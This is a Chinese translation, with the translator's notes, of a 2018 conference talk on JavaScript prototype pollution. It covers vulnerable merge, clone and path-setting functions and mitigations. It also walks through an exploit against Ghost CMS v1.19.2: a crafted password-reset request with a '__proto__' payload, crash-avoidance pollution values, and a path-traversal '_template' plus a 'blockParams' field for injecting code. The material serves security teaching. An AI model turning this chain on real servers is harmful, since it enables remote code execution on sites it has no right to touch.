[翻译+笔记]nsec2018-JS原型链污染攻击

读完p牛的 深入理解 JavaScript Prototype 污染攻击 还有点意犹未尽,看了一下参考链接里第一个,觉得还有翻译的价值,于是乎在这里与大家一同学习啦~

原文见:https://github.com/HoLyVieR/prototype-pollution-nsec18/


原型链污染攻击

BY OLIVIER ARTEAU


我是谁?

  • 渗透测试人员&安全研究员
  • 4年前我开始从事信息安全的工作,在此之前,我从事web开发的工作

计划(议程)

  • 介绍JavaScript
  • 什么允许了原型链污染?
  • 怎样使它被利用?
  • 缓解

介绍JavaScript

JavaScript中如何声明一个类

1
2
3
4
5
6
7
8
9
10
function Dog() {
}
Dog.prototype.talk = function () {
return 42;
}
var myDog = new Dog();
myDog.talk(); // return 42;

对象的基本原型

1
2
3
4
5
6
7
8
9
10
var myDog = new Dog();
// 指向 Dog() 函数 (译者注:[1])
myDog.constructor;
// 指向 Dog 类的定义 (译者注:[2])
myDog.constructor.prototype;
// 指向 Dog 类的定义 (译者注:[2])
myDog.__proto__;

[1]: 就是function Dog(){ }这一部分
[2]: 包括三个部分,1是function Dog(){ },2是Dog.prototype.talk = function(){return 42;},3是从Object原型链继承的部分(JS是一个基于原型的语言,每个对象都有一个原型,并从原型继承方法和属性,最顶层的对象的原型为null)。


原型访问

1
2
3
4
5
6
var myDog = new Dog();
var name = "__proto__";
myDog["__proto__"] === myDog.__proto__;
myDog[name] === myDog.__proto__;
myDog["toString"] === myDog.toString;

(JS中可以通过数组下标的方式实现对对象属性的访问。)


原型链污染?

  • “Object”和其他基本类型的扩展方法
  • 如”prototype.js”等库
  • 考虑下面这个糟糕的实现:

    1
    2
    3
    4
    5
    6
    7
    Object.prototype.containsTheAnswer = function () {
    return this.hasOwnProperty("42");
    }
    var a = {"42":true};
    a.containsTheAnswer(); // true

原型链污染攻击

如果攻击者能够向对象的原型添加属性,那么会发生什么?


什么允许了原型链污染?


合并(merge)操作

1
2
3
var a = { "a" : 1, "b" : 2 };
var b = { "b" : 3, "d" : 4 };
var c = merge(a, b); // { "a" : 1, "b" : 3, "d": 4 };

(merge操作的一个简单实现:)

1
2
3
4
5
6
7
8
9
10
11
function merge(a, b) {
for (var attr in b) {
if (isobject(a[attr]) && isobject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a;
}

1
2
3
4
5
var a = { "a" : 1, "b" : 2 };
var b = JSON.parse('{"__proto__":{"polluted":1}}');
var c = merge(a, b);
var d = {};
d.polluted // 1

(

  • 在JS中,查找对象的属性,如果在当前对象的全部属性中未找到,会继续向上,在对象的原型中寻找该属性,如果在对象的原型中,还未找到该属性,会继续寻找该对象原型的原型,直到找到,或是原型的原型为null。
  • 如果某一个对象的原型A,被改变了,那么将会影响到所有原型链中存在A的对象。
  • var d = {};但是d.polluted值却为1,说明d对象的原型链中含有了polluted属性,也就是:通过merge()函数,成功地在b的原型(Object)的属性中增加了名为polluted的属性。
  • 为什么var b = JSON.parse(xxx)?见p牛文章

)


  • 包括非常流行的库都受该漏洞影响,如lodash何Hoek
  • 详细信息见paper

克隆(clone)操作

1
2
3
4
var a = { "a" : 1, "b" : 2 };
var b = clone(a);
b.a // 1
b.b // 2

1
2
3
4
5
6
7
8
function clone(a) {
return merge({}, a);
}
var a = JSON.parse('{"__proto__":{"polluted":1}}');
var b = clone(a);
var d = {};
d.polluted // 1

  • 只有一个库被发现受此问题影响。
  • 详细内容见paper

路径分配操作

1
2
3
var obj = { b: {"test":321} };
setValue(obj, "b.test", 123);
obj.b,test // 123

1
2
3
4
var obj = {};
setValue(obj, "__proto__.polluted", 1);
var d = {};
d.polluted // 1

  • By design
  • 详细见paper中。

利用时间到了!

  • 该研究的案例是Ghost CMS v1.19.2
  • 这是一个大应用
  • 它使用了在用户输入下易受攻击的库。

鉴别身份

  • 第一步是找到受影响的库在哪里与用户输入一同被使用。
  • 文件:/core/server/api/authentication.js

    1
    2
    3
    4
    5
    6
    7
    function doReset(options){
    var data = options.data.passwordreset[0],
    resetToken = data.token,
    oldPassword = data.oldPassword,
    newPassword = data.newPassword;
    return settingsAPI.read(_.merge({key: 'db_hash'}, options))
    [...]

  • 思考这一点,我们可以构建出payload的大致框架:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    PUT /ghost/api/v0.1/authentication/passwordreset HTTP/1.1
    Host: localhost:2368
    Content-Type: application/json; charset=UTF-8
    Connection: close
    {"passwordreset": [{
    "token": "MHx0ZXN0QHRlc3QuY29tfHRlc3RzZXRlc3Q=",
    "email": "test1321321@test.com",
    "newPassword": "kdsflaksldk930209",
    "ne2Password": "kdsflaksldk930209",
    "__proto__": {
    }
    }]}

不要崩溃!

  • 添加任何一个属性,几乎都会造成所有端点在执行完成之前崩溃。

  • 第一个目标是确定哪个属性需要被添加,以便至少有一个端点能够到达有趣的那点(漏洞点)。

  • 该漏洞利用的目标端点是主页面。

  • 我们想要到达的漏洞点是渲染所有模板的地方。

  • 第一策略:添加上造成”undefined”异常处的、缺少的值。

  • 文件:/core/server/controllers/channel.js

    1
    2
    3
    4
    5
    6
    7
    8
    // 调用 fetchData 来得到我们需要从该API中获得的一切信息
    return fetchData(res.locals.channel).then(
    function handleResult(result) {
    // If page is greater than number of pages we [...]
    // 如果 page 参数大于我们[...]页面的总数
    if (pageParam > result.meta.paination.page) {
    [...]
    }
  • 为了修复该点,我们将污染这个值:

    1
    "meta": {"pagination": {"pages": "100"}}
  • 第二策略:避免”dead-end”

  • 有时,应用程序会在注入额外无效值的地方崩溃。

  • 确定属性,避免使用会到达”dead-end”的代码路径。

  • 第三策略:修复递归问题

    1
    2
    Object.prototype.foo = {};
    ({}).foo.foo.foo.foo.foo === ({}).foo;
  • 修复完的版本:

    1
    2
    Object.prototype.foo = {"foo": ""};
    ({}).foo.foo === "";

利用!

  • 使用属性注入。
  • 渲染模板是懒加载的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    module.exports.setTemplate =
    function setTemplate(req, res, data) {
    var routeConfig = res._route || {};
    if (res._template && !req.err) {
    return;
    }
    if (req.err) {
    res._template = _private.getTemplateForError(
    res.statusCode;
    );
    return;
    }
    [...]
  • 在最终选择_template之前,我将它指向了一个受我控制的本地文件。

  • 我对这个文件做了一些fuzz,来确定哪些内容能够帮助我们注入任意代码。

  • 有一部分的调用可能已经被破坏,无法执行我们选择的代码。

  • 包含我们任意代码的属性是”blockParams”。

  • 我们必须找到一个包含部分调用的模板。

  • 包含部分调用的该应用的所有模板都会在渲染期间崩溃。

  • 测试用例模板在”express-hbs”中提供。

  • 最终目标:”../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs”

1
2
3
4
5
6
7
8
9
10
11
12
"_template": "../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs"
"program": {
"opcodes": [{
"opcode": "pushLiteral",
"args": ["1"]
}, {
"opcode": "appendEscaped",
"args": ["1"]
}],
"children": [],
"blockParams": "CODE GOES HERE"
}

缓解

  • Object.freeze(Object.prototype)
  • 使用像ajv这样的库来进行JSON格式的数据解析
  • 使用 Map 代替 Object

GitHub

窝很可爱,请给窝钱